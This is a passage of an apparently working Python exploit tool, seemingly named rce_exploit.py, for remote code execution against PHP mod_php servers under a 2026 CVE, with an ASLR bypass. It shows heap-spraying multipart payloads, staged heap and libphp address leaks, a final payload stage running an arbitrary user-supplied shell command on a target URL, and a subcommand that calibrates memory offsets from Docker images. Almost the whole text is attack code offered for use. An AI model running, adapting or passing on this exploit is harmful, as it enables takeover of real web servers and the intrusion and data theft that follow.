{"name": "PHPSESSID", "data": b"a" * 19},
|
|
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"p" * 3},
|
|
]
|
|
for i, (nl, vl) in enumerate(self.stage3_pads):
|
|
name = (f"p{i:0{nl - 1}d}" if nl > 0 else "")[:nl]
|
|
parts.append({"name": name, "data": b"V" * vl})
|
|
parts += [self._file_part(), self._big_field()]
|
|
extra = None
|
|
if self.stage3_carrier:
|
|
extra = {"Cookie": "PHPSESSID=" + "a" * 32}
|
|
body_a = build_multipart(parts, b"S" * 17)
|
|
self._spray_a(body_a, b"S" * 17, extra)
|
|
time.sleep(0.3)
|
|
|
|
ht, ref = self._fake_payload(htdata, zif)
|
|
parts = [
|
|
{"name": "PHPSESSID", "data": SID},
|
|
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
|
|
]
|
|
if self.stage3_carrier:
|
|
carrier = (struct.pack("<II", 1, 0x1A) +
|
|
struct.pack("<Q", htdata)[:7])
|
|
for i in range(2):
|
|
parts.append({"name": f"f{i:02d}", "data": b"F" * 15})
|
|
parts.append({"name": "g00", "data": carrier})
|
|
for i in range(15):
|
|
parts.append({"name": f"a{i:030d}"[:31], "data": ht})
|
|
else:
|
|
for i in range(15):
|
|
parts.append({"name": f"a{i:030d}"[:31], "data": ht})
|
|
for i in range(2):
|
|
parts.append({"name": f"f{i:02d}", "data": ref})
|
|
self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
|
|
read_cap=65536, timeout=30.0)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Calibrate subcommand: extract + print offsets for a new target
|
|
# ---------------------------------------------------------------------------
|
|
|
|
def cmd_calibrate(args) -> int:
|
|
"""Extract offsets from a Docker image or container and print them."""
|
|
if args.docker_container:
|
|
print(f"Extracting from container {args.docker_container!r}...")
|
|
o = offsets_from_container(args.docker_container)
|
|
elif args.docker_image:
|
|
print(f"Extracting from image {args.docker_image!r}...")
|
|
o = offsets_from_docker_image(args.docker_image)
|
|
else:
|
|
print("need --docker-container or --docker-image", file=sys.stderr)
|
|
return 1
|
|
|
|
zif = o.get("ZIF_OFFSET", 0)
|
|
dtor = o.get("DTOR_OFFSET", 0)
|
|
if not zif or not dtor:
|
|
print("extraction failed", file=sys.stderr)
|
|
return 1
|
|
|
|
print(f"ZIF_OFFSET=0x{zif:x}")
|
|
print(f"DTOR_OFFSET=0x{dtor:x}")
|
|
print()
|
|
print("Add to OFFSET_DB in rce_exploit.py:")
|
|
ver = args.php_version or "X.Y.Z"
|
|
dist = args.distro or "bookworm"
|
|
print(f' ("{ver}", "{dist}"): {{')
|
|
print(f' "ZIF_OFFSET": 0x{zif:x},')
|
|
print(f' "DTOR_OFFSET": 0x{dtor:x},')
|
|
print(f' "HTDATA_OFFSET": 0x690D8, # calibrate with heap inspection')
|
|
print(f' "profile": "{dist}",')
|
|
print(f" }},")
|
|
|
|
if args.save:
|
|
with open(args.save, "w") as f:
|
|
f.write(f"ZIF_OFFSET=0x{zif:x}\n")
|
|
f.write(f"DTOR_OFFSET=0x{dtor:x}\n")
|
|
print(f"\nSaved to {args.save}")
|
|
return 0
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Main exploit runner
|
|
# ---------------------------------------------------------------------------
|
|
|
|
def cmd_exploit(args) -> int:
|
|
if len(args.cmd.encode()) > MAX_CMD:
|
|
print(f"--cmd limited to {MAX_CMD} bytes", file=sys.stderr)
|
|
return 1
|
|
|
|
verbose = not args.quiet
|
|
zif, dtor, htdata, profile = resolve_offsets(args, verbose=verbose)
|
|
|
|
if args.profile and args.profile != profile:
|
|
profile = args.profile
|
|
|
|
t = Target(args.url, timeout=args.timeout, verbose=verbose)
|
|
ex = Exploit(t, args.cmd, profile=profile,
|
|
zif_offset=zif, dtor_offset=dtor,
|
|
htdata_offset=htdata, huge_mb=args.huge_mb,
|
|
workers=args.workers)
|
|
|
|
t.log(f"[*] target {args.url} (profile={profile}, cmd={args.cmd!r})")
|
|
t.log(f"[*] offsets: zif=0x{zif:x} dtor=0x{dtor:x} htdata=0x{ex.htdata_offset:x}")
|
|
if ex.workers > 1:
|
|
t.log(f"[*] spray mode: {ex.workers} workers")
|
|
|
|
if ex.workers == 1:
|
|
ex.rotate()
|
|
|
|
single = ex.workers == 1
|
|
|
|
chunk = 0
|
|
for attempt in range(1, args.retries + 1):
|
|
t.log(f"[*] stage 1: heap leak (attempt {attempt}/{args.retries})")
|
|
chunk = ex.stage1()
|
|
if chunk:
|
|
t.log(f"[+] chunk base = 0x{chunk:x}")
|
|
break
|
|
t.log("[-] heap leak missed")
|
|
if single:
|
|
ex.rotate()
|
|
if not chunk:
|
|
print("HEAP_LEAK_FAILED", file=sys.stderr)
|
|
return 1
|
|
if single:
|
|
ex.rotate()
|
|
|
|
libphp = 0
|
|
for attempt in range(1, args.retries + 1):
|
|
t.log(f"[*] stage 2: libphp leak (attempt {attempt}/{args.retries})")
|
|
libphp = ex.stage2()
|
|
if libphp:
|
|
t.log(f"[+] libphp base = 0x{libphp:x}")
|
|
break
|
|
t.log("[-] libphp leak missed")
|
|
if single:
|
|
ex.rotate()
|
|
if not libphp:
|
|
print("LIBPHP_LEAK_FAILED", file=sys.stderr)
|
|
return 1
|
|
if single:
|
|
ex.rotate()
|
|
|
|
zif_addr = libphp + zif
|
|
|
|
if args.proof_file:
|
|
try:
|
|
if os.path.exists(args.proof_file):
|
|
os.unlink(args.proof_file)
|
|
except OSError:
|
|
pass
|
|
|
|
has_proof_check = bool(args.proof_file or args.fetch or args.docker_proof)
|
|
|
|
def check_proof() -> str:
|
|
if args.proof_file:
|
|
try:
|
|
if os.path.exists(args.proof_file):
|
|
with open(args.proof_file, "rb") as f:
|
|
return f.read().decode("latin-1").strip()
|
|
except OSError:
|
|
pass
|
|
if args.fetch:
|
|
status, body = t.get(args.fetch)
|
|
if status == 200 and body.strip():
|
|
return body.decode("latin-1").strip()
|
|
if args.docker_proof:
|
|
container, path = args.docker_proof
|
|
try:
|
|
r = subprocess.run(
|
|
["docker", "exec", container, "cat", path],
|
|
capture_output=True, timeout=10,
|
|
)
|
|
if r.returncode == 0 and r.stdout.strip():
|
|
return r.stdout.decode("latin-1").strip()
|
|
except (OSError, subprocess.SubprocessError):
|
|
pass
|
|
return ""
|
|
|
|
htdata_addr = chunk + ex.htdata_offset
|
|
t.log(f"[*] stage 3: HTDATA=0x{htdata_addr:x} ZIF=0x{zif_addr:x}")
|
|
|
|
for attempt in range(1, args.retries + 1):
|
|
try:
|
|
ex.stage3(htdata_addr, zif_addr)
|
|
except OSError as e:
|
|
t.log(f"[-] request error: {e}")
|
|
time.sleep(0.8)
|
|
|
|
if has_proof_check:
|
|
proof = check_proof()
|
|
if proof:
|
|
t.log(f"[+] RCE confirmed (stage 3 attempt {attempt})")
|
|
print(f"PROOF: {proof}")
|
|
return 0
|
|
t.log(f"[-] stage 3 attempt {attempt} (no proof yet)")
|
|
else:
|
|
t.log(f"[+] stage 3 payload sent (attempt {attempt})")
|
|
t.log("[*] no proof mechanism configured; command may have executed")
|
|
t.log(" use --fetch, --proof-file, or --docker-proof to verify")
|
|
return 0
|
|
if single:
|
|
ex.rotate()
|
|
|
|
print("EXPLOIT_FAILED (command may have executed without proof)",
|
|
file=sys.stderr)
|
|
return 1
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# CLI
|
|
# ---------------------------------------------------------------------------
|
|
|
|
def main() -> int:
|
|
top = argparse.ArgumentParser(
|
|
description="CVE-2026-109618/109619 RCE: PHP mod_php, full ASLR bypass",
|
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
|
epilog="""\
|
|
Auto-detect mode (fingerprint target, look up offsets from built-in DB):
|
|
%(prog)s -u http://target:8089/index.php
|
|
|
|
Auto-pull mode (pull matching Docker image if not in DB):
|
|
%(prog)s -u http://target:8089/index.php --auto-pull
|
|
|
|
Extract offsets from a running container:
|
|
%(prog)s -u http://target:8089/ --docker-container myphp
|
|
|
|
Calibrate: extract offsets for a new PHP build:
|
|
%(prog)s calibrate --docker-image php:8.3.35-apache --php-version 8.3.35
|
|
""")
|
|
|
|
sub = top.add_subparsers(dest="subcommand")
|
|
|
|
# calibrate subcommand
|
|
cal = sub.add_parser("calibrate", help="extract offsets from Docker image/container")
|
|
cal.add_argument("--docker-image", default="", help="Docker image to extract from")
|
|
cal.add_argument("--docker-container", default="", help="running container name")
|
|
cal.add_argument("--php-version", default="", help="version string for DB entry")
|
|
cal.add_argument("--distro", default="bookworm")
|
|
cal.add_argument("--save", default="", help="save offsets.env to this path")
|
|
|
|
# exploit (default)
|
|
top.add_argument("-u", "--url", default="", help="target PHP URL")
|
|
top.add_argument("-c", "--cmd", default="id>/tmp/pwn",
|
|
help=f"command (max {MAX_CMD} bytes)")
|
|
top.add_argument("--proof-file", default="",
|
|
help="local file to check for proof of execution")
|
|
top.add_argument("--fetch", default="",
|
|
help="GET this path after stage 3 for remote proof")
|
|
top.add_argument("--profile", choices=sorted(PROFILES), default=None,
|
|
help="heap profile override (auto-detected by default)")
|
|
top.add_argument("--zif-offset", type=lambda x: int(x, 0), default=None)
|
|
top.add_argument("--dtor-offset", type=lambda x: int(x, 0), default=None)
|
|
top.add_argument("--htdata-offset", type=lambda x: int(x, 0), default=None)
|
|
top.add_argument("--offsets-file", default="",
|
|
help="read ZIF_OFFSET/DTOR_OFFSET from file")
|
|
top.add_argument("--docker-container", default="",
|
|
help="extract offsets from this running container")
|
|
top.add_argument("--auto-pull", action="store_true",
|
|
help="pull matching Docker image if version not in DB")
|
|
top.add_argument("--docker-proof", nargs=2, metavar=("CONTAINER", "PATH"),
|
|
default=None,
|
|
help="verify RCE via docker exec CONTAINER cat PATH")
|
|
top.add_argument("--workers", type=int, default=1,
|
|
help="number of Apache workers to spray (default 1)")
|
|
top.add_argument("--huge-mb", type=int, default=140,
|
|
help="OOM field size in MB (default 140, exceeds stock 128M limit)")
|
|
top.add_argument("--timeout", type=float, default=30.0)
|
|
top.add_argument("--retries", type=int, default=5)
|
|
top.add_argument("-q", "--quiet", action="store_true")
|
|
args = top.parse_args()
|
|
|
|
if args.subcommand == "calibrate":
|
|
return cmd_calibrate(args)
|
|
|
|
if not args.url:
|
|
top.error("-u/--url is required")
|
|
|
|
if args.profile is None:
|
|
args.profile = "bookworm"
|
|
|
|
return cmd_exploit(args)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
try:
|
|
sys.exit(main())
|
|
except KeyboardInterrupt:
|
|
sys.exit(130)
|